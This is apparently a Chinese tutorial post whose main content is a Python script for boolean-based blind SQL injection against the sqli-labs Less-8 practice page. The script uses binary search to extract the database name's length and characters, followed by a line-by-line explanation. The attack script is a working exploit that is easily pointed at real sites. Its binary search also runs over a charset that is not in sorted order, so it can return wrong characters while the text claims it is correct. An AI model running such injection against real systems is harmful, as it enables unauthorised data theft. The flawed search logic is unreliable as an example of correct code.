python实现自动化sql布尔盲注(二分查找)

为了优化自动化布尔盲注的代码,我们可以使用二分查找来减少猜测次数,从而提高效率。

以靶场sqli为例:

python 复制代码
import requests

# 目标URL
url = "http://127.0.0.1/sqli/Less-8/index.php"

# 要推断的数据库信息(例如:数据库名)
database_name = ""

# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-. "

# 推断数据库名的长度
def get_database_length():
    length = 0
    while True:
        length += 1
        payload = f"1' AND (SELECT length(database()) = {length}) -- "
        response = requests.get(url, params={"id": payload})
        if "You are in..........." in response.text:
            return length
        if length > 50:  # 防止无限循环
            break
    return 0

# 使用二分查找推断数据库名
def get_database_name(length):
    db_name = ""
    for i in range(1, length + 1):
        left, right = 0, len(charset) - 1
        while left <= right:
            mid = (left + right) // 2
            char = charset[mid]
            payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "
            response = requests.get(url, params={"id": payload})
            if "You are in" in response.text:
                left = mid + 1
            else:
                right = mid - 1
        db_name += charset[right]
    return db_name

# 主函数
if __name__ == "__main__":
    length = get_database_length()
    if length > 0:
        print(f"Database length: {length}")
        db_name = get_database_name(length)
        print(f"Database name: {db_name}")
    else:
        print("Failed to determine database length.")

代码解释:

  1. get_database_length 函数:与原代码相同,用于推断数据库名的长度。
  2. get_database_name 函数
    • 使用二分查找来推断数据库名的每一个字符。
    • 对于每一个位置 i,初始化左右指针 leftright 分别指向字符集的起始和结束位置。
    • 在每次循环中,取中间位置 mid 的字符 char,构造 SQL 注入 payload 进行判断。
    • 如果判断结果为真,则将左指针 left 移动到 mid + 1;否则,将右指针 right 移动到 mid - 1
    • left > right 时,循环结束,此时 charset[right] 即为该位置的正确字符。
  3. 主函数 :调用 get_database_length 函数获取数据库名的长度,然后调用 get_database_name 函数推断数据库名,并输出结果。

运行结果:

成功字符比对出数据库长度和名称